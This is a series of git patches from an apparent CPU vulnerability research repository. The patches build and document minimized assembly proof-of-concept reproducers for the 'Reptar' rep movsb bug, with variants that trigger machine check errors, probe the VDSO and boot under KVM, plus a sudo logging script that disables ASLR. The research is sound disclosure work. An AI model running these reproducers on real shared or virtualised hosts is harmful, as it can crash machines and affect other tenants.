+ mov rdi, rsi + .many_reptars: + %rep 1 + align 0x1000 + times 4 nop + dec rsi + dec rdi + inc rbx + inc rcx + clflush [rdi] + clflush [rsi+64] + mov [rsp], rbx + rep + db 0x44; rex.r + movsb + rep + %endrep + .suffix: + times 1024*32 rep pause + .exit: + mov dil, bl ; counter + syscall + jmp .attack From 7be48a9f8b6e59f0363589c52780bbd036fcd520 Mon Sep 17 00:00:00 2001 From: eduardo Date: Fri, 24 Nov 2023 20:25:40 +0100 Subject: [PATCH 18/42] document a bit whats going on with alignment --- pocs/cpus/reptar/minimized/reptar.align.asm | 30 ++++++++++++--------- 1 file changed, 17 insertions(+), 13 deletions(-) diff --git a/pocs/cpus/reptar/minimized/reptar.align.asm b/pocs/cpus/reptar/minimized/reptar.align.asm index 3ce0c8e6..f739d039 100644 --- a/pocs/cpus/reptar/minimized/reptar.align.asm +++ b/pocs/cpus/reptar/minimized/reptar.align.asm @@ -14,21 +14,25 @@ section .text .many_reptars: %rep 1 align 0x1000 - times 4 nop - dec rsi - dec rdi - inc rbx - inc rcx - clflush [rdi] - clflush [rsi+64] - mov [rsp], rbx - rep - db 0x44; rex.r - movsb - rep + ; 16 bytes + times 4 nop ; 4 bytes + dec rsi ; 3 bytes + dec rdi ; 3 bytes + inc rbx ; 3 bytes + inc rcx ; 3 bytes + ; 16 bytes + clflush [rdi] ; 3 bytes + clflush [rsi+64] ; 4 bytes + mov [rsp], rbx ; 4 bytes + rep ; 1 byte + db 0x44; rex.r ; 1 byte + movsb ; 1 byte + rep ; 1 byte + nop ; 1 byte %endrep .suffix: - times 1024*32 rep pause + align 0x1000 + times 0x1000*8 rep pause .exit: mov dil, bl ; counter syscall From 70aae119f63ecc8e74d19bba30e1ecb5d50f6bbb Mon Sep 17 00:00:00 2001 From: eduardo Date: Fri, 24 Nov 2023 21:06:15 +0100 Subject: [PATCH 19/42] add xlat poc --- pocs/cpus/reptar/minimized/reptar.xlat.asm | 49 ++++++++++++++++++++++ 1 file changed, 49 insertions(+) create mode 100644 pocs/cpus/reptar/minimized/reptar.xlat.asm diff --git a/pocs/cpus/reptar/minimized/reptar.xlat.asm b/pocs/cpus/reptar/minimized/reptar.xlat.asm new file mode 100644 index 00000000..4559a21a --- /dev/null +++ b/pocs/cpus/reptar/minimized/reptar.xlat.asm @@ -0,0 +1,49 @@ +BITS 64 + +global _start + +section .text + _start: + mov rbx, data + lea rsi, [rsp+1] + mov rdi, rsi + jmp .suffix + .attack: + inc rax + xor ecx, ecx; clear ecx + .many_reptars: + %rep 1 + align 0x1000 + ; 16 bytes + times 4 nop ; 4 bytes + dec rsi ; 3 bytes + dec rdi ; 3 bytes + inc rdx ; 3 bytes + inc rcx ; 3 bytes + ; 16 bytes + clflush [rdi] ; 3 bytes + clflush [rsi+64] ; 4 bytes + mov [rsp], rdx ; 4 bytes + rep ; 1 byte + db 0x44; rex.r ; 1 byte + movsb ; 1 byte + rep ; 1 byte + nop ; 1 byte + %endrep + .suffix: + align 0x1000 + times 0x1000*8 xlat + .exit: + mov dil, dl ; counter + syscall + jmp .attack + +section .data + align 0x1000 + data: + db 24 ; first iteration (yield) + db 60 ; second iteration (exit) + times 22 db 0 + db 24 ; data[24]=24 + times 35 db 0 + db 60 ; data[60]=60 \ No newline at end of file From 3de824f4d39db907752df4c020edd28b0ea2f93b Mon Sep 17 00:00:00 2001 From: eduardo Date: Fri, 24 Nov 2023 21:19:04 +0100 Subject: [PATCH 20/42] automatically discover output files --- pocs/cpus/reptar/minimized/Makefile | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/pocs/cpus/reptar/minimized/Makefile b/pocs/cpus/reptar/minimized/Makefile index 3b77b999..a6a0911c 100644 --- a/pocs/cpus/reptar/minimized/Makefile +++ b/pocs/cpus/reptar/minimized/Makefile @@ -1,4 +1,7 @@ -all: reptar.loop.out reptar.loopless.out reptar.mce.out reptar.align.out reptar.vdsojmp.elf reptar.vdsopf.elf +nasm_targets=$(shell find . -name '*.asm' -type f ! -name '*.elf.asm' -printf "%f\n" | sed 's/\.asm/\.out/' | xargs) +elf_targets=$(shell find . -name '*.elf.asm' -type f -printf "%f\n" | sed 's/\.asm//' | xargs) + +all: $(nasm_targets) $(elf_targets) %.elf: %.elf.asm nasm -f bin $^ -o $@ From ef59b90390203e4805ce0e83175dc8ca29a80db7 Mon Sep 17 00:00:00 2001 From: eduardo Date: Fri, 24 Nov 2023 22:18:12 +0100 Subject: [PATCH 21/42] adjust offsets --- pocs/cpus/reptar/minimized/reptar.xlat.asm | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/pocs/cpus/reptar/minimized/reptar.xlat.asm b/pocs/cpus/reptar/minimized/reptar.xlat.asm index 4559a21a..de1eb7c7 100644 --- a/pocs/cpus/reptar/minimized/reptar.xlat.asm +++ b/pocs/cpus/reptar/minimized/reptar.xlat.asm @@ -9,9 +9,6 @@ section .text mov rdi, rsi jmp .suffix .attack: - inc rax - xor ecx, ecx; clear ecx - .many_reptars: %rep 1 align 0x1000 ; 16 bytes @@ -32,10 +29,11 @@ section .text %endrep .suffix: align 0x1000 - times 0x1000*8 xlat - .exit: + times 0x1000*8 xlat ; mov al, ds:[ebx+al] mov dil, dl ; counter syscall + mov rax, 1 ; exit + xor ecx, ecx; clear ecx jmp .attack section .data @@ -43,7 +41,10 @@ section .data data: db 24 ; first iteration (yield) db 60 ; second iteration (exit) - times 22 db 0 + times 22 db 34 db 24 ; data[24]=24 - times 35 db 0 - db 60 ; data[60]=60 \ No newline at end of file + times 9 db 34 + db 34 ; data[34]=34 + times 25 db 34 + db 60 ; data[60]=60 + times 0x1000-60 db 34 ; (pause) From ebd24e047aaa42a8bfa24ec3284f63beaa6f3074 Mon Sep 17 00:00:00 2001 From: eduardo Date: Sat, 25 Nov 2023 04:00:02 +0100 Subject: [PATCH 22/42] smaller file --- pocs/cpus/reptar/minimized/reptar.mce.asm | 27 ++++++++++++++--------- 1 file changed, 17 insertions(+), 10 deletions(-) diff --git a/pocs/cpus/reptar/minimized/reptar.mce.asm b/pocs/cpus/reptar/minimized/reptar.mce.asm index 2bc39a54..806ed003 100644 --- a/pocs/cpus/reptar/minimized/reptar.mce.asm +++ b/pocs/cpus/reptar/minimized/reptar.mce.asm @@ -4,21 +4,28 @@ global _start section .text _start: - xor rcx, rcx lea rsi, [rsp+1] mov rdi, rsi + align 0x1000 + %rep 64*8 + align 64 + pause + %endrep .many_reptars: - %rep 100000 - clflush [rdi-1] - clflush [rsi+63] - dec rsi - dec rdi - inc rcx + align 0x1000 + %rep 64*8 ; icache has 8 ways 64 sets + align 64 ; icache line size + clflush [rdi-1] ; msrom ptr ; 4 bytes ; 1 way + clflush [rsi+63]; msrom ptr ; 4 bytes ; 1 way + dec rsi ; 1uop ; 3 bytes + dec rdi ; 1uop ; 3 bytes + inc rcx ; 1uop ; 3 bytes + times 6 nop rep db 0x44; rex.r - movsb - pause - pause + movsb ; msrom ptr ; 3 bytes ; 1 way + pause ; 1uop ; 2 bytes + pause ; 1uop ; 2 bytes %endrep nop times 1024 int3 From 22a2a2a64c548265c3f90e9da63d6ecb0fb5efa7 Mon Sep 17 00:00:00 2001 From: eduardo Date: Sat, 25 Nov 2023 14:32:06 +0100 Subject: [PATCH 23/42] add mce error example --- pocs/cpus/reptar/minimized/mce.txt | 43 ++++++++++++++++++++++++++++++ 1 file changed, 43 insertions(+) create mode 100644 pocs/cpus/reptar/minimized/mce.txt diff --git a/pocs/cpus/reptar/minimized/mce.txt b/pocs/cpus/reptar/minimized/mce.txt new file mode 100644 index 00000000..99509294 --- /dev/null +++ b/pocs/cpus/reptar/minimized/mce.txt @@ -0,0 +1,43 @@ +mce: [Hardware Error]: Machine check events logged +mce: [Hardware Error]: CPU 7: Machine Check: 0 Bank 0: f6000000000f0150 +mce: [Hardware Error]: TSC 0 ADDR a540a56 +mce: [Hardware Error]: PROCESSOR 0:806d1 TIME 1700915672 SOCKET 0 APIC e microcode 3c + +Machine check events logged +Hardware event. This is not a software error. +CPU 7 BANK 0 +ADDR a540a56 +TIME 1700915672 Sat Nov 25 13:34:32 2023 +MCG status: +MCi status: +Error overflow +Uncorrected error +Error enabled +MCi_ADDR register valid +Processor context corrupt +MCA: Instruction CACHE Level-1 Instruction-Fetch Error +STATUS f6000000000f0150 MCGSTATUS 0 +CPUID Vendor Intel Family 6 Model 141 Step 1 +SOCKET 0 APIC e microcode 3c + +mce: [Hardware Error]: Machine check events logged +mce: [Hardware Error]: CPU 7: Machine Check: 0 Bank 3: be00000000800400 +mce: [Hardware Error]: TSC 0 ADDR 41a193 MISC 41a193 +mce: [Hardware Error]: PROCESSOR 0:806d1 TIME 1700915672 SOCKET 0 APIC e microcode 3c + +Machine check events logged +Hardware event. This is not a software error. +CPU 7 BANK 3 +MISC 41a193 ADDR 41a193 +TIME 1700915672 Sat Nov 25 13:34:32 2023 +MCG status: +MCi status: +Uncorrected error +Error enabled +MCi_MISC register valid +MCi_ADDR register valid +Processor context corrupt +MCA: Internal Timer error +STATUS be00000000800400 MCGSTATUS 0 +CPUID Vendor Intel Family 6 Model 141 Step 1 +SOCKET 0 APIC e microcode 3c \ No newline at end of file From 0d927ad18cbf84e1a9aac1da0860d10e6773dded Mon Sep 17 00:00:00 2001 From: eduardo Date: Sat, 25 Nov 2023 15:00:23 +0100 Subject: [PATCH 24/42] simplify code for clarity --- pocs/cpus/reptar/minimized/reptar.mce.asm | 20 ++++++++------------ 1 file changed, 8 insertions(+), 12 deletions(-) diff --git a/pocs/cpus/reptar/minimized/reptar.mce.asm b/pocs/cpus/reptar/minimized/reptar.mce.asm index 806ed003..cc09442e 100644 --- a/pocs/cpus/reptar/minimized/reptar.mce.asm +++ b/pocs/cpus/reptar/minimized/reptar.mce.asm @@ -7,25 +7,21 @@ section .text lea rsi, [rsp+1] mov rdi, rsi align 0x1000 - %rep 64*8 - align 64 - pause - %endrep + times 8*64*64 pause .many_reptars: - align 0x1000 %rep 64*8 ; icache has 8 ways 64 sets - align 64 ; icache line size - clflush [rdi-1] ; msrom ptr ; 4 bytes ; 1 way - clflush [rsi+63]; msrom ptr ; 4 bytes ; 1 way + clflush [rdi-1] ; 4uops ; 4 bytes + clflush [rsi+63]; 4uops ; 4 bytes dec rsi ; 1uop ; 3 bytes dec rdi ; 1uop ; 3 bytes + times 2 nop ; 2uops ; 2 bytes + ; 16 byte boundary + 2 ways inc rcx ; 1uop ; 3 bytes - times 6 nop rep db 0x44; rex.r - movsb ; msrom ptr ; 3 bytes ; 1 way + movsb ; msrom ptr ; 3 bytes pause ; 1uop ; 2 bytes pause ; 1uop ; 2 bytes + align 64 ; icache line size %endrep - nop - times 1024 int3 + times 8*64*64*100 pause From 06d8a6a13a16336fc7c503e7989a34fd66c8ae48 Mon Sep 17 00:00:00 2001 From: eduardo Date: Tue, 28 Nov 2023 21:01:39 +0100 Subject: [PATCH 25/42] add mce logger --- .gitignore | 1 + pocs/cpus/reptar/minimized/log_mce.sh | 25 +++++++++++++++++++++++++ 2 files changed, 26 insertions(+) create mode 100755 pocs/cpus/reptar/minimized/log_mce.sh diff --git a/.gitignore b/.gitignore index 27ab7060..98fddcd1 100644 --- a/.gitignore +++ b/.gitignore @@ -1,2 +1,3 @@ pocs/cpus/reptar/minimized/reptar.*.out pocs/cpus/reptar/minimized/reptar.*.elf +pocs/cpus/reptar/minimized/reptar.log diff --git a/pocs/cpus/reptar/minimized/log_mce.sh b/pocs/cpus/reptar/minimized/log_mce.sh new file mode 100755 index 00000000..4313bbf1 --- /dev/null +++ b/pocs/cpus/reptar/minimized/log_mce.sh @@ -0,0 +1,25 @@ +#!/bin/bash + +set -ex + +cat reptar.log + +sudo mount -t debugfs none /sys/kernel/debug +echo 1 | sudo tee /sys/kernel/debug/mce/fake_panic +echo 0 | sudo tee /proc/sys/kernel/watchdog +echo 0 | sudo tee /proc/sys/kernel/printk_ratelimit +echo 0 | sudo tee /proc/sys/kernel/randomize_va_space +echo 0 | sudo tee /sys/bus/cpu/devices/cpu15/online + +touch reptar.mce.asm +make reptar.mce.out || true + +for i in {1..10}; do + echo $i | tee reptar.log + sudo sync + sleep 0.3s + taskset -c 7 ./reptar.mce.out || true + sleep 1s + sudo cat /sys/kernel/debug/mce/severities-coverage | tr '\n' , | tr '\t' : + sudo dmesg | grep mce: +done From 83a8b5fce605e7800b51a1b7b3670264b0ae217c Mon Sep 17 00:00:00 2001 From: eduardo Date: Tue, 28 Nov 2023 21:15:06 +0100 Subject: [PATCH 26/42] improve mce logging facilities --- pocs/cpus/reptar/minimized/log_mce.sh | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/pocs/cpus/reptar/minimized/log_mce.sh b/pocs/cpus/reptar/minimized/log_mce.sh index 4313bbf1..9ed69619 100755 --- a/pocs/cpus/reptar/minimized/log_mce.sh +++ b/pocs/cpus/reptar/minimized/log_mce.sh @@ -18,8 +18,9 @@ for i in {1..10}; do echo $i | tee reptar.log sudo sync sleep 0.3s - taskset -c 7 ./reptar.mce.out || true + taskset -c 7 ./reptar.mce.out & sleep 1s - sudo cat /sys/kernel/debug/mce/severities-coverage | tr '\n' , | tr '\t' : - sudo dmesg | grep mce: + sudo dmesg -t | grep mce: | uniq -c | tee -a reptar.log + sudo cat /sys/kernel/debug/mce/severities-coverage | grep -v $'^0\t' | tr '\n' , | tr '\t' : | tee -a reptar.log + kill -9 %1 || true done From 2c372b1d8be9b6cb902342e4885866c1275cad10 Mon Sep 17 00:00:00 2001 From: eduardo Date: Tue, 28 Nov 2023 21:18:36 +0100 Subject: [PATCH 27/42] keep full reptar log --- pocs/cpus/reptar/minimized/log_mce.sh | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/pocs/cpus/reptar/minimized/log_mce.sh b/pocs/cpus/reptar/minimized/log_mce.sh index 9ed69619..e400aaf3 100755 --- a/pocs/cpus/reptar/minimized/log_mce.sh +++ b/pocs/cpus/reptar/minimized/log_mce.sh @@ -3,6 +3,7 @@ set -ex cat reptar.log +echo > reptar.log sudo mount -t debugfs none /sys/kernel/debug echo 1 | sudo tee /sys/kernel/debug/mce/fake_panic @@ -15,7 +16,7 @@ touch reptar.mce.asm make reptar.mce.out || true for i in {1..10}; do - echo $i | tee reptar.log + echo $i | tee -a reptar.log sudo sync sleep 0.3s taskset -c 7 ./reptar.mce.out & From 2e81f76fa78714c01cff3554c2468ea0e5db3b4e Mon Sep 17 00:00:00 2001 From: eduardo Date: Tue, 28 Nov 2023 21:27:34 +0100 Subject: [PATCH 28/42] offline cpu2 --- pocs/cpus/reptar/minimized/log_mce.sh | 1 + 1 file changed, 1 insertion(+) diff --git a/pocs/cpus/reptar/minimized/log_mce.sh b/pocs/cpus/reptar/minimized/log_mce.sh index e400aaf3..fed9332f 100755 --- a/pocs/cpus/reptar/minimized/log_mce.sh +++ b/pocs/cpus/reptar/minimized/log_mce.sh @@ -11,6 +11,7 @@ echo 0 | sudo tee /proc/sys/kernel/watchdog echo 0 | sudo tee /proc/sys/kernel/printk_ratelimit echo 0 | sudo tee /proc/sys/kernel/randomize_va_space echo 0 | sudo tee /sys/bus/cpu/devices/cpu15/online +echo 0 | sudo tee /sys/bus/cpu/devices/cpu2/online touch reptar.mce.asm make reptar.mce.out || true From ea6a192f4c43d03fc1458a334fdd96b82f016e98 Mon Sep 17 00:00:00 2001 From: eduardo Date: Tue, 28 Nov 2023 21:33:05 +0100 Subject: [PATCH 29/42] revert offlinging cpu2 --- pocs/cpus/reptar/minimized/log_mce.sh | 1 - 1 file changed, 1 deletion(-) diff --git a/pocs/cpus/reptar/minimized/log_mce.sh b/pocs/cpus/reptar/minimized/log_mce.sh index fed9332f..e400aaf3 100755 --- a/pocs/cpus/reptar/minimized/log_mce.sh +++ b/pocs/cpus/reptar/minimized/log_mce.sh @@ -11,7 +11,6 @@ echo 0 | sudo tee /proc/sys/kernel/watchdog echo 0 | sudo tee /proc/sys/kernel/printk_ratelimit echo 0 | sudo tee /proc/sys/kernel/randomize_va_space echo 0 | sudo tee /sys/bus/cpu/devices/cpu15/online -echo 0 | sudo tee /sys/bus/cpu/devices/cpu2/online touch reptar.mce.asm make reptar.mce.out || true From afd25a8e4c45fca192099118e32c950a4b14d5aa Mon Sep 17 00:00:00 2001 From: "Eduardo' Vela\" Nava (sirdarckcat)" Date: Tue, 28 Nov 2023 21:59:46 +0100 Subject: [PATCH 30/42] Add some docs --- pocs/cpus/reptar/minimized/README.md | 13 ++++++ .../reptar/minimized/reptar.vdsojmp.elf.asm | 43 ++++++++++--------- .../reptar/minimized/reptar.vdsopf.elf.asm | 43 +++++++++---------- 3 files changed, 56 insertions(+), 43 deletions(-) create mode 100644 pocs/cpus/reptar/minimized/README.md diff --git a/pocs/cpus/reptar/minimized/README.md b/pocs/cpus/reptar/minimized/README.md new file mode 100644 index 00000000..a9fe97a3 --- /dev/null +++ b/pocs/cpus/reptar/minimized/README.md @@ -0,0 +1,13 @@ +# Minimized Reptar Examples + +This directory provides a set of examples to reproduce and study the Reptar vulnerability. + +You can build them all simply by running `make`. + +- **reptar.align.asm**: This is a more reliable reproducer that triggers an error on the first iteration. The `clflush` and the reptar instruction need to be on different 16 byte windows. This could be related to the instruction decoder working on 16 byte instructions at a time. +- **reptar.loop.asm**: This is a more documented reproducer that explains what happens when the bug triggers and which instructions execute and which don't. Running the program on GDB should allow for quick debugging. +- **reptar.loopless.asm**: This is an easier to modify reproducer that will also trigger the bug somewhat reliably but also allows to modify the instructions executed before and after. Note the registers that the program uses at the top. +- **reptar.xlat.asm**: This is similar to `reptar.align.asm` but generates tracing information on the syscalls it executes, so that when the program enters at a different register location, it is possible to observe the consequences. Pause will freeze the process, exit will pass AL as the exit code and yield will simply leave the latest RIP on RCX. +- **reptar.vdsojmp.elf.asm**: This is an experiment where we map ourselves just before the VDSO (you must disable ASLR first and adjust the addresses) and then make the "wrong RIP" point to the VDSO address of the time() function, then we jump to that instruction. As a result, the current time is stored in the address pointed to by RAX. If we had corrupted the uop$ then we would instead expect a crash, so it appears that a long jump to the VDSO doesn't corrupt the uop$. +- **reptar.vdsjpf.elf.asm**: This is a similar experiment to the one above where we do the same except with a pagefault instead of a long jump, with similar consequences. +- **reptar.mce.asm**: Trigger this with `./log_mce.sh` and adjust the cpu 15/7 so they are siblings. This code will trigger an MCE on some affected CPUs and log the details. diff --git a/pocs/cpus/reptar/minimized/reptar.vdsojmp.elf.asm b/pocs/cpus/reptar/minimized/reptar.vdsojmp.elf.asm index cac5cdab..c3979428 100644 --- a/pocs/cpus/reptar/minimized/reptar.vdsojmp.elf.asm +++ b/pocs/cpus/reptar/minimized/reptar.vdsojmp.elf.asm @@ -33,19 +33,21 @@ text_phdr: ; Elf64_Phdr phdrsize equ $ - text_phdr _start: - mov cl, 7 + mov rdx, .end_of_program + times 10 push rdx lea rax, [rsp - 0x1000] lea r8, [.after_reptar - .loop_only_on_bug] mov r10, 0x00007ffff7ffda40 ; after time - xor rbx, rbx - mov rdx, .end_of_program - lea r13, [rsp-0x4000] - mov r15, .skip_reptar_alias mov r11, .loop_only_on_bug - push rdx xor rdx, rdx + xor rbx, rbx + xor r12, r12 + mov r13, 0x13371337 .loop_for_every_iteration: + jmp r11 .loop_only_on_bug: + nop + nop clflush [rax] clflush [rax+64] mov rsi, rax @@ -53,15 +55,19 @@ _start: mov cl, 1 inc rdx mov r9, rdx - sub r9, rbx + sub r9, r12 imul r9, r8 add r9, r11 - cmp r9, r10 ; we are past vdso - cmova r12, r13 ; this will PF but recover - cmova rax, rcx ; this will break/PF the clflush - cmovna r12, rsp ; ths wont PF - clflush [r12] - clflush [rax] + xor rbx, rbx + cmp r9, r10 + setae bl + imul rbx, 0x4000 + neg rbx + add rbx, rsp + nop + mov qword [rbx], r13 + mov qword [rsp], r11 + jae 0x00007ffff7ffda40 ; time .reptar: rep @@ -69,8 +75,8 @@ _start: movsb .after_reptar: rep - times 64 nop - jmp r15 + times 4 nop + jmp .skip_reptar_alias .reptar_alias: nop @@ -78,13 +84,10 @@ _start: nop .after_reptar_alias: times 100 nop - ; kill - mov eax, 0 - mov ebx, 0 - int 0x80 + int3 .skip_reptar_alias: - inc rbx + inc r12 jmp .loop_for_every_iteration .end_of_program: int3 diff --git a/pocs/cpus/reptar/minimized/reptar.vdsopf.elf.asm b/pocs/cpus/reptar/minimized/reptar.vdsopf.elf.asm index 9d5814ee..cac5cdab 100644 --- a/pocs/cpus/reptar/minimized/reptar.vdsopf.elf.asm +++ b/pocs/cpus/reptar/minimized/reptar.vdsopf.elf.asm @@ -33,21 +33,19 @@ text_phdr: ; Elf64_Phdr phdrsize equ $ - text_phdr _start: - mov rdx, .end_of_program - times 10 push rdx + mov cl, 7 lea rax, [rsp - 0x1000] lea r8, [.after_reptar - .loop_only_on_bug] mov r10, 0x00007ffff7ffda40 ; after time + xor rbx, rbx + mov rdx, .end_of_program + lea r13, [rsp-0x4000] + mov r15, .skip_reptar_alias mov r11, .loop_only_on_bug + push rdx xor rdx, rdx - xor rbx, rbx - xor r12, r12 - mov r13, 0x13371337 .loop_for_every_iteration: - jmp r11 .loop_only_on_bug: - nop - nop clflush [rax] clflush [rax+64] mov rsi, rax @@ -55,19 +53,15 @@ _start: mov cl, 1 inc rdx mov r9, rdx - sub r9, r12 + sub r9, rbx imul r9, r8 add r9, r11 - xor rbx, rbx - cmp r9, r10 - setae bl - imul rbx, 0x4000 - neg rbx - add rbx, rsp - nop - mov qword [rbx], r13 - mov qword [rsp], r11 - ;jae 0x00007ffff7ffda40 ; time + cmp r9, r10 ; we are past vdso + cmova r12, r13 ; this will PF but recover + cmova rax, rcx ; this will break/PF the clflush + cmovna r12, rsp ; ths wont PF + clflush [r12] + clflush [rax] .reptar: rep @@ -75,8 +69,8 @@ _start: movsb .after_reptar: rep - times 4 nop - jmp .skip_reptar_alias + times 64 nop + jmp r15 .reptar_alias: nop @@ -84,10 +78,13 @@ _start: nop .after_reptar_alias: times 100 nop - int3 + ; kill + mov eax, 0 + mov ebx, 0 + int 0x80 .skip_reptar_alias: - inc r12 + inc rbx jmp .loop_for_every_iteration .end_of_program: int3 From 800de3dbf8351486dba3e2b66a1265854eadd6c1 Mon Sep 17 00:00:00 2001 From: eduardo Date: Tue, 28 Nov 2023 22:32:56 +0100 Subject: [PATCH 31/42] Formatting fixes. --- pocs/cpus/reptar/minimized/README.md | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/pocs/cpus/reptar/minimized/README.md b/pocs/cpus/reptar/minimized/README.md index a9fe97a3..5a0d6649 100644 --- a/pocs/cpus/reptar/minimized/README.md +++ b/pocs/cpus/reptar/minimized/README.md @@ -2,12 +2,14 @@ This directory provides a set of examples to reproduce and study the Reptar vulnerability. -You can build them all simply by running `make`. +You can build them all simply by running `make`. Building the code requires `nasm`, `binutils` (for `ld`) and `make`. On an ubuntu system you can install these with `apt install -y nasm make binutils`. + +## Quick Summary - **reptar.align.asm**: This is a more reliable reproducer that triggers an error on the first iteration. The `clflush` and the reptar instruction need to be on different 16 byte windows. This could be related to the instruction decoder working on 16 byte instructions at a time. -- **reptar.loop.asm**: This is a more documented reproducer that explains what happens when the bug triggers and which instructions execute and which don't. Running the program on GDB should allow for quick debugging. +- **reptar.xlat.asm**: This is similar to `reptar.align.asm` but generates tracing information on the syscalls it executes, so that when the program enters at a different register location, it is possible to observe the consequences. Pause will freeze the process, exit will pass `AL` as the exit code and yield will simply leave the latest `RIP` on `RCX`. - **reptar.loopless.asm**: This is an easier to modify reproducer that will also trigger the bug somewhat reliably but also allows to modify the instructions executed before and after. Note the registers that the program uses at the top. -- **reptar.xlat.asm**: This is similar to `reptar.align.asm` but generates tracing information on the syscalls it executes, so that when the program enters at a different register location, it is possible to observe the consequences. Pause will freeze the process, exit will pass AL as the exit code and yield will simply leave the latest RIP on RCX. +- **reptar.loop.asm**: This is a more documented reproducer that explains what happens when the bug triggers and which instructions execute and which don't. Running the program on GDB should allow for quick debugging. - **reptar.vdsojmp.elf.asm**: This is an experiment where we map ourselves just before the VDSO (you must disable ASLR first and adjust the addresses) and then make the "wrong RIP" point to the VDSO address of the time() function, then we jump to that instruction. As a result, the current time is stored in the address pointed to by RAX. If we had corrupted the uop$ then we would instead expect a crash, so it appears that a long jump to the VDSO doesn't corrupt the uop$. -- **reptar.vdsjpf.elf.asm**: This is a similar experiment to the one above where we do the same except with a pagefault instead of a long jump, with similar consequences. +- **reptar.vdsopf.elf.asm**: This is a similar experiment to the one above where we do the same except with a pagefault instead of a long jump, with similar consequences. - **reptar.mce.asm**: Trigger this with `./log_mce.sh` and adjust the cpu 15/7 so they are siblings. This code will trigger an MCE on some affected CPUs and log the details. From 38c290de849c82db1c81bc9a57864ab724252588 Mon Sep 17 00:00:00 2001 From: eduardo Date: Tue, 28 Nov 2023 23:46:44 +0100 Subject: [PATCH 32/42] add refs and boot example --- pocs/cpus/reptar/minimized/README.md | 3 +- .../cpus/reptar/minimized/reptar.boot.elf.asm | 202 ++++++++++++++++++ .../reptar/minimized/reptar.vdsojmp.elf.asm | 2 + .../reptar/minimized/reptar.vdsopf.elf.asm | 2 + 4 files changed, 208 insertions(+), 1 deletion(-) create mode 100644 pocs/cpus/reptar/minimized/reptar.boot.elf.asm diff --git a/pocs/cpus/reptar/minimized/README.md b/pocs/cpus/reptar/minimized/README.md index 5a0d6649..c4e0c109 100644 --- a/pocs/cpus/reptar/minimized/README.md +++ b/pocs/cpus/reptar/minimized/README.md @@ -7,9 +7,10 @@ You can build them all simply by running `make`. Building the code requires `nas ## Quick Summary - **reptar.align.asm**: This is a more reliable reproducer that triggers an error on the first iteration. The `clflush` and the reptar instruction need to be on different 16 byte windows. This could be related to the instruction decoder working on 16 byte instructions at a time. +- **reptar.boot.elf.asm**: Same as align, but instead intended to be ran from a VM using KVM. `qemu-system-x86_64 --enable-kvm -fda reptar.boot.elf`. - **reptar.xlat.asm**: This is similar to `reptar.align.asm` but generates tracing information on the syscalls it executes, so that when the program enters at a different register location, it is possible to observe the consequences. Pause will freeze the process, exit will pass `AL` as the exit code and yield will simply leave the latest `RIP` on `RCX`. - **reptar.loopless.asm**: This is an easier to modify reproducer that will also trigger the bug somewhat reliably but also allows to modify the instructions executed before and after. Note the registers that the program uses at the top. - **reptar.loop.asm**: This is a more documented reproducer that explains what happens when the bug triggers and which instructions execute and which don't. Running the program on GDB should allow for quick debugging. - **reptar.vdsojmp.elf.asm**: This is an experiment where we map ourselves just before the VDSO (you must disable ASLR first and adjust the addresses) and then make the "wrong RIP" point to the VDSO address of the time() function, then we jump to that instruction. As a result, the current time is stored in the address pointed to by RAX. If we had corrupted the uop$ then we would instead expect a crash, so it appears that a long jump to the VDSO doesn't corrupt the uop$. - **reptar.vdsopf.elf.asm**: This is a similar experiment to the one above where we do the same except with a pagefault instead of a long jump, with similar consequences. -- **reptar.mce.asm**: Trigger this with `./log_mce.sh` and adjust the cpu 15/7 so they are siblings. This code will trigger an MCE on some affected CPUs and log the details. +- **reptar.mce.asm**: Trigger this with `./log_mce.sh` and adjust the cpu 15/7 so they are siblings. This code will trigger an MCE on some affected CPUs and log the details. \ No newline at end of file diff --git a/pocs/cpus/reptar/minimized/reptar.boot.elf.asm b/pocs/cpus/reptar/minimized/reptar.boot.elf.asm new file mode 100644 index 00000000..975c8aab --- /dev/null +++ b/pocs/cpus/reptar/minimized/reptar.boot.elf.asm @@ -0,0 +1,202 @@ +; Stolen from https://wiki.osdev.org/Entering_Long_Mode_Directly +%define FREE_SPACE 0x9000 + +ORG 0x7C00 +BITS 16 + +; Main entry point where BIOS leaves us. + +Main: + jmp 0x0000:.FlushCS ; Some BIOS' may load us at 0x0000:0x7C00 while other may load us at 0x07C0:0x0000. + ; Do a far jump to fix this issue, and reload CS to 0x0000. + +.FlushCS: + xor ax, ax + + ; Set up segment registers. + mov ss, ax + ; Set up stack so that it starts below Main. + mov sp, Main + + mov ds, ax + mov es, ax + mov fs, ax + mov gs, ax + cld + + ; Point edi to a free space bracket. + mov edi, FREE_SPACE + ; Switch to Long Mode. + jmp SwitchToLongMode + +BITS 16 + + +%define PAGE_PRESENT (1 << 0) +%define PAGE_WRITE (1 << 1) + +%define CODE_SEG 0x0008 +%define DATA_SEG 0x0010 + +ALIGN 4 +IDT: + .Length dw 0 + .Base dd 0 + +; Function to switch directly to long mode from real mode. +; Identity maps the first 2MiB. +; Uses Intel syntax. + +; es:edi Should point to a valid page-aligned 16KiB buffer, for the PML4, PDPT, PD and a PT. +; ss:esp Should point to memory that can be used as a small (1 uint32_t) stack + +SwitchToLongMode: + ; Zero out the 16KiB buffer. + ; Since we are doing a rep stosd, count should be bytes/4. + push di ; REP STOSD alters DI. + mov ecx, 0x1000 + xor eax, eax + cld + rep stosd + pop di ; Get DI back. + + + ; Build the Page Map Level 4. + ; es:di points to the Page Map Level 4 table. + lea eax, [es:di + 0x1000] ; Put the address of the Page Directory Pointer Table in to EAX. + or eax, PAGE_PRESENT | PAGE_WRITE ; Or EAX with the flags - present flag, writable flag. + mov [es:di], eax ; Store the value of EAX as the first PML4E. + + + ; Build the Page Directory Pointer Table. + lea eax, [es:di + 0x2000] ; Put the address of the Page Directory in to EAX. + or eax, PAGE_PRESENT | PAGE_WRITE ; Or EAX with the flags - present flag, writable flag. + mov [es:di + 0x1000], eax ; Store the value of EAX as the first PDPTE. + + + ; Build the Page Directory. + lea eax, [es:di + 0x3000] ; Put the address of the Page Table in to EAX. + or eax, PAGE_PRESENT | PAGE_WRITE ; Or EAX with the flags - present flag, writeable flag. + mov [es:di + 0x2000], eax ; Store to value of EAX as the first PDE. + + + push di ; Save DI for the time being. + 